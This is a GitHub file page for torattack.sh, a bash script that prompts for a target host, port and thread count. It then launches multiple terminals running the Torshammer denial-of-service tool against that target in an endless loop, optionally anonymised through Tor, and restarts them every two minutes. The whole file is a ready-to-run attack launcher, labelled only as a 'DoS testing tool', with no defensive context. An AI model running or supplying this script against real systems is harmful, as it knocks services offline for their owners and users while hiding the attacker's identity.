-
Notifications
You must be signed in to change notification settings - Fork 16
Expand file tree
/
Copy pathtorattack.sh
More file actions
72 lines (67 loc) · 1.69 KB
/
Copy pathtorattack.sh
File metadata and controls
72 lines (67 loc) · 1.69 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/bin/bash
# ig: @thelinuxchoice
trap 'printf "\e[1;77m Ctrl+c was pressed, exiting...\e[0m"; killall python; exit 0' 2
checkroot() {
if [[ "$(id -u)" -ne 0 ]]; then
printf "\e[1;77m Please, run this program as root!\n \e[0m"
exit 1
fi
}
config() {
default_port="80"
default_threads="600"
default_inst="4"
default_tor="y"
printf "\e[1;77m"
read -p "Target: " target
read -p "Port (Default 80): " port
port="${port:-${default_port}}"
read -p "Threads: (Default 600): " threads
threads="${threads:-${default_threads}}"
read -p "Terminals (Default 4): " inst
inst="${inst:-${default_inst}}"
read -e -p "Anonymized via Tor? (start tor before) [Y/n]: " tor
printf "\e[0m"
tor="${tor:-${default_tor}}"
if [[ $tor == "y" || $tor == "Y" ]]; then
printf "\e[1;32m Press Ctrl + C to stop attack \e[0m \n"
attack_tor
else
printf "\e[1;32m Press Ctrl + C to stop attack \e[0m \n"
attack
fi
}
attack_tor() {
i=1
while true; do
let i=1
while [ $i -le $inst ]; do
gnome-terminal --tab -- python torshammer/torshammer.py -t $target -p $port -r $threads -T
i=$((i+1))
done
sleep 120
killall python
done
}
attack() {
i=1
while true; do
let i=1
while [ $i -le $inst ]; do
gnome-terminal --tab -- python torshammer/torshammer.py -t $target -p $port -r $threads
i=$((i+1))
done
sleep 120
killall python
done
}
banner() {
printf "\e[1;32m ____ __ ___ \e[0m \e[1;35m__ ____ ____ __ __ _ _\n \e[0m"
printf "\e[1;32m(_ _/ ( ,) \e[0m \e[1;35m( (_ _(_ _( )/ _( ) )\n \e[0m"
printf "\e[1;32m )(( () ) \ \e[0m \e[1;35m/__\ )( )( /__( (_ ) \ \n \e[0m"
printf "\e[1;32m (__)\__(_)\_) \e[0m \e[1;35m(_)(_(__) (__(_)(_\__(_)\_) \n \e[0m"
printf "\e[1;77m DoS testing tool \e[0m \n\n"
}
banner
checkroot
config